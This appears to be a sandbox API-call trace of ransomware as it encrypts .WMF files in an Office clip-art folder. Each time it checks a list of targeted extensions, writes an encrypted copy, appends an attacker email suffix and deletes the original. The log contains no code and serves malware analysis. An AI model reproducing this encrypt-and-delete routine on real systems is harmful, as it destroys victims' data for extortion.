[0220.448] lstrlenW (lpString=".doc") returned 4 [0220.448] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0220.448] lstrlenW (lpString=".docx") returned 5 [0220.448] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0220.448] lstrlenW (lpString=".pdf") returned 4 [0220.448] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0220.448] lstrlenW (lpString=".xls") returned 4 [0220.448] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0220.448] lstrlenW (lpString=".xlsx") returned 5 [0220.448] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0220.448] lstrlenW (lpString=".ppt") returned 4 [0220.448] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0220.448] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00435_.WMF") returned 68 [0220.448] lstrlenW (lpString=".zip") returned 4 [0220.448] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0220.448] lstrlenW (lpString=".rar") returned 4 [0220.448] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0220.448] lstrlenW (lpString=".bz2") returned 4 [0220.448] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0220.448] lstrlenW (lpString=".7z") returned 3 [0220.448] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0220.448] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00435_.WMF") returned 68 [0220.448] lstrlenW (lpString=".dbf") returned 4 [0220.448] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0220.448] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00435_.WMF") returned 68 [0220.448] lstrlenW (lpString=".1cd") returned 4 [0220.448] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0220.449] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00435_.WMF") returned 68 [0220.449] lstrlenW (lpString=".jpg") returned 4 [0220.449] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0220.449] GetLastError () returned 0x0 [0220.449] ReadFile (in: hFile=0x33c, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2d9fecc*=0x2332, lpOverlapped=0x0) returned 1 [0220.484] WriteFile (in: hFile=0x330, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x2340, lpNumberOfBytesWritten=0x2d9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2d9fc94*=0x2340, lpOverlapped=0x0) returned 1 [0220.485] ReadFile (in: hFile=0x33c, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2d9fecc*=0x0, lpOverlapped=0x0) returned 1 [0220.485] WriteFile (in: hFile=0x330, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2d9fc94*=0xec, lpOverlapped=0x0) returned 1 [0220.485] SetEndOfFile (hFile=0x330) returned 1 [0220.485] CloseHandle (hObject=0x330) returned 1 [0220.485] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec0 | out: lpNewFilePointer=0x0) returned 1 [0220.486] SetEndOfFile (hFile=0x33c) returned 1 [0220.486] CloseHandle (hObject=0x33c) returned 1 [0220.486] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00779_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0220.487] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00779_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00779_.wmf")) returned 1 [0220.487] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00779_.WMF") returned 68 [0220.487] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00779_.WMF") returned 68 [0220.487] lstrlenW (lpString=".doc") returned 4 [0220.487] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0220.487] lstrlenW (lpString=".docx") returned 5 [0220.487] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0220.487] lstrlenW (lpString=".pdf") returned 4 [0220.487] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0220.487] lstrlenW (lpString=".xls") returned 4 [0220.487] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0220.487] lstrlenW (lpString=".xlsx") returned 5 [0220.487] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0220.487] lstrlenW (lpString=".ppt") returned 4 [0220.487] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0220.487] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00779_.WMF") returned 68 [0220.487] lstrlenW (lpString=".zip") returned 4 [0220.487] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0220.487] lstrlenW (lpString=".rar") returned 4 [0220.488] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0220.488] lstrlenW (lpString=".bz2") returned 4 [0220.488] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0220.488] lstrlenW (lpString=".7z") returned 3 [0220.488] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0220.488] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00779_.WMF") returned 68 [0220.488] lstrlenW (lpString=".dbf") returned 4 [0220.488] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0220.488] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00779_.WMF") returned 68 [0220.488] lstrlenW (lpString=".1cd") returned 4 [0220.488] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0220.488] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00779_.WMF") returned 68 [0220.488] lstrlenW (lpString=".jpg") returned 4 [0220.488] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0220.489] GetLastError () returned 0x0 [0220.489] ReadFile (in: hFile=0x33c, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2d9fecc*=0x3b3c, lpOverlapped=0x0) returned 1 [0220.632] WriteFile (in: hFile=0x330, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x3b40, lpNumberOfBytesWritten=0x2d9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2d9fc94*=0x3b40, lpOverlapped=0x0) returned 1 [0220.633] ReadFile (in: hFile=0x33c, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2d9fecc*=0x0, lpOverlapped=0x0) returned 1 [0220.633] WriteFile (in: hFile=0x330, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2d9fc94*=0xec, lpOverlapped=0x0) returned 1 [0220.633] SetEndOfFile (hFile=0x330) returned 1 [0220.633] CloseHandle (hObject=0x330) returned 1 [0220.633] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec0 | out: lpNewFilePointer=0x0) returned 1 [0220.633] SetEndOfFile (hFile=0x33c) returned 1 [0220.633] CloseHandle (hObject=0x33c) returned 1 [0220.634] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00965_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0220.634] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00965_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00965_.wmf")) returned 1 [0220.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00965_.WMF") returned 68 [0220.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00965_.WMF") returned 68 [0220.634] lstrlenW (lpString=".doc") returned 4 [0220.634] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0220.634] lstrlenW (lpString=".docx") returned 5 [0220.634] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0220.634] lstrlenW (lpString=".pdf") returned 4 [0220.634] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0220.634] lstrlenW (lpString=".xls") returned 4 [0220.634] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0220.634] lstrlenW (lpString=".xlsx") returned 5 [0220.634] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0220.635] lstrlenW (lpString=".ppt") returned 4 [0220.635] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0220.635] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00965_.WMF") returned 68 [0220.635] lstrlenW (lpString=".zip") returned 4 [0220.635] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0220.635] lstrlenW (lpString=".rar") returned 4 [0220.635] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0220.635] lstrlenW (lpString=".bz2") returned 4 [0220.635] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0220.635] lstrlenW (lpString=".7z") returned 3 [0220.635] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0220.635] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00965_.WMF") returned 68 [0220.635] lstrlenW (lpString=".dbf") returned 4 [0220.635] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0220.635] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00965_.WMF") returned 68 [0220.635] lstrlenW (lpString=".1cd") returned 4 [0220.635] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0220.635] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00965_.WMF") returned 68 [0220.635] lstrlenW (lpString=".jpg") returned 4 [0220.635] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0220.820] GetLastError () returned 0x0 [0220.820] ReadFile (in: hFile=0x374, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2d9fecc*=0x91c, lpOverlapped=0x0) returned 1 [0220.821] WriteFile (in: hFile=0x37c, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x920, lpNumberOfBytesWritten=0x2d9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2d9fc94*=0x920, lpOverlapped=0x0) returned 1 [0220.822] ReadFile (in: hFile=0x374, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2d9fecc*=0x0, lpOverlapped=0x0) returned 1 [0220.822] WriteFile (in: hFile=0x37c, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2d9fc94*=0xec, lpOverlapped=0x0) returned 1 [0220.822] SetEndOfFile (hFile=0x37c) returned 1 [0220.823] CloseHandle (hObject=0x37c) returned 1 [0220.823] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec0 | out: lpNewFilePointer=0x0) returned 1 [0220.823] SetEndOfFile (hFile=0x374) returned 1 [0220.824] CloseHandle (hObject=0x374) returned 1 [0220.824] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01196_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0220.824] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01196_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01196_.wmf")) returned 1 [0220.824] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01196_.WMF") returned 68 [0220.824] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01196_.WMF") returned 68 [0220.824] lstrlenW (lpString=".doc") returned 4 [0220.824] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0220.824] lstrlenW (lpString=".docx") returned 5 [0220.825] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0220.825] lstrlenW (lpString=".pdf") returned 4 [0220.825] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0220.825] lstrlenW (lpString=".xls") returned 4 [0220.825] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0220.825] lstrlenW (lpString=".xlsx") returned 5 [0220.825] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0220.825] lstrlenW (lpString=".ppt") returned 4 [0220.825] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0220.825] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01196_.WMF") returned 68 [0220.825] lstrlenW (lpString=".zip") returned 4 [0220.825] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0220.825] lstrlenW (lpString=".rar") returned 4 [0220.825] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0220.825] lstrlenW (lpString=".bz2") returned 4 [0220.825] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0220.825] lstrlenW (lpString=".7z") returned 3 [0220.825] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0220.825] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01196_.WMF") returned 68 [0220.825] lstrlenW (lpString=".dbf") returned 4 [0220.825] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0220.825] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01196_.WMF") returned 68 [0220.825] lstrlenW (lpString=".1cd") returned 4 [0220.825] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0220.825] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01196_.WMF") returned 68 [0220.825] lstrlenW (lpString=".jpg") returned 4 [0220.825] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0220.826] GetLastError () returned 0x0 [0220.826] ReadFile (in: hFile=0x374, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2d9fecc*=0x4604, lpOverlapped=0x0) returned 1 [0220.874] WriteFile (in: hFile=0x37c, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x4610, lpNumberOfBytesWritten=0x2d9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2d9fc94*=0x4610, lpOverlapped=0x0) returned 1 [0220.875] ReadFile (in: hFile=0x374, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2d9fecc*=0x0, lpOverlapped=0x0) returned 1 [0220.876] WriteFile (in: hFile=0x37c, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2d9fc94*=0xec, lpOverlapped=0x0) returned 1 [0220.876] SetEndOfFile (hFile=0x37c) returned 1 [0220.876] CloseHandle (hObject=0x37c) returned 1 [0220.876] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec0 | out: lpNewFilePointer=0x0) returned 1 [0220.876] SetEndOfFile (hFile=0x374) returned 1 [0220.877] CloseHandle (hObject=0x374) returned 1 [0220.888] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01658_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0220.888] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01658_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01658_.wmf")) returned 1 [0220.891] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01658_.WMF") returned 68 [0220.891] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01658_.WMF") returned 68 [0220.891] lstrlenW (lpString=".doc") returned 4 [0220.891] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0220.891] lstrlenW (lpString=".docx") returned 5 [0220.891] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0220.891] lstrlenW (lpString=".pdf") returned 4 [0220.891] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0220.891] lstrlenW (lpString=".xls") returned 4 [0220.891] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0220.891] lstrlenW (lpString=".xlsx") returned 5 [0220.891] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0220.891] lstrlenW (lpString=".ppt") returned 4 [0220.891] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0220.891] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01658_.WMF") returned 68 [0220.891] lstrlenW (lpString=".zip") returned 4 [0220.891] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0220.891] lstrlenW (lpString=".rar") returned 4 [0220.891] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0220.891] lstrlenW (lpString=".bz2") returned 4 [0220.891] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0220.891] lstrlenW (lpString=".7z") returned 3 [0220.891] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0220.891] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01658_.WMF") returned 68 [0220.891] lstrlenW (lpString=".dbf") returned 4 [0220.891] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0220.891] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01658_.WMF") returned 68 [0220.891] lstrlenW (lpString=".1cd") returned 4 [0220.892] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0220.892] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01658_.WMF") returned 68 [0220.892] lstrlenW (lpString=".jpg") returned 4 [0220.892] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0220.895] GetLastError () returned 0x0 [0220.895] ReadFile (in: hFile=0x37c, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2d9fecc*=0x61c, lpOverlapped=0x0) returned 1 [0220.909] WriteFile (in: hFile=0x330, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x620, lpNumberOfBytesWritten=0x2d9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2d9fc94*=0x620, lpOverlapped=0x0) returned 1 [0220.910] ReadFile (in: hFile=0x37c, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2d9fecc*=0x0, lpOverlapped=0x0) returned 1 [0220.910] WriteFile (in: hFile=0x330, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2d9fc94*=0xec, lpOverlapped=0x0) returned 1 [0220.910] SetEndOfFile (hFile=0x330) returned 1 [0220.910] CloseHandle (hObject=0x330) returned 1 [0220.936] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec0 | out: lpNewFilePointer=0x0) returned 1 [0220.936] SetEndOfFile (hFile=0x37c) returned 1 [0220.937] CloseHandle (hObject=0x37c) returned 1 [0220.937] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02097_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0220.938] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02097_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02097_.wmf")) returned 1 [0220.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02097_.WMF") returned 68 [0220.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02097_.WMF") returned 68 [0220.938] lstrlenW (lpString=".doc") returned 4 [0220.938] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0220.938] lstrlenW (lpString=".docx") returned 5 [0220.938] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0220.938] lstrlenW (lpString=".pdf") returned 4 [0220.938] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0220.938] lstrlenW (lpString=".xls") returned 4 [0220.938] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0220.938] lstrlenW (lpString=".xlsx") returned 5 [0220.938] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0220.938] lstrlenW (lpString=".ppt") returned 4 [0220.938] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0220.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02097_.WMF") returned 68 [0220.938] lstrlenW (lpString=".zip") returned 4 [0220.938] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0220.939] lstrlenW (lpString=".rar") returned 4 [0220.939] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0220.939] lstrlenW (lpString=".bz2") returned 4 [0220.939] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0220.939] lstrlenW (lpString=".7z") returned 3 [0220.939] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0220.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02097_.WMF") returned 68 [0220.939] lstrlenW (lpString=".dbf") returned 4 [0220.939] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0220.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02097_.WMF") returned 68 [0220.939] lstrlenW (lpString=".1cd") returned 4 [0220.939] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0220.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02097_.WMF") returned 68 [0220.939] lstrlenW (lpString=".jpg") returned 4 [0220.939] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0220.939] GetLastError () returned 0x0 [0220.939] ReadFile (in: hFile=0x37c, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2d9fecc*=0x1234, lpOverlapped=0x0) returned 1 [0220.994] WriteFile (in: hFile=0x330, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x1240, lpNumberOfBytesWritten=0x2d9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2d9fc94*=0x1240, lpOverlapped=0x0) returned 1 [0220.994] ReadFile (in: hFile=0x37c, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2d9fecc*=0x0, lpOverlapped=0x0) returned 1 [0220.994] WriteFile (in: hFile=0x330, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2d9fc94*=0xec, lpOverlapped=0x0) returned 1 [0220.994] SetEndOfFile (hFile=0x330) returned 1 [0221.003] CloseHandle (hObject=0x330) returned 1 [0221.008] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec0 | out: lpNewFilePointer=0x0) returned 1 [0221.008] SetEndOfFile (hFile=0x37c) returned 1 [0221.008] CloseHandle (hObject=0x37c) returned 1 [0221.009] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02115_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0221.009] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02115_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02115_.wmf")) returned 1 [0221.009] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02115_.WMF") returned 68 [0221.009] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02115_.WMF") returned 68 [0221.009] lstrlenW (lpString=".doc") returned 4 [0221.009] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0221.009] lstrlenW (lpString=".docx") returned 5 [0221.009] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0221.009] lstrlenW (lpString=".pdf") returned 4 [0221.009] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0221.009] lstrlenW (lpString=".xls") returned 4 [0221.009] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0221.009] lstrlenW (lpString=".xlsx") returned 5 [0221.010] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0221.010] lstrlenW (lpString=".ppt") returned 4 [0221.010] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0221.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02115_.WMF") returned 68 [0221.010] lstrlenW (lpString=".zip") returned 4 [0221.010] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0221.010] lstrlenW (lpString=".rar") returned 4 [0221.010] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0221.010] lstrlenW (lpString=".bz2") returned 4 [0221.010] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0221.010] lstrlenW (lpString=".7z") returned 3 [0221.010] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0221.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02115_.WMF") returned 68 [0221.010] lstrlenW (lpString=".dbf") returned 4 [0221.010] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0221.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02115_.WMF") 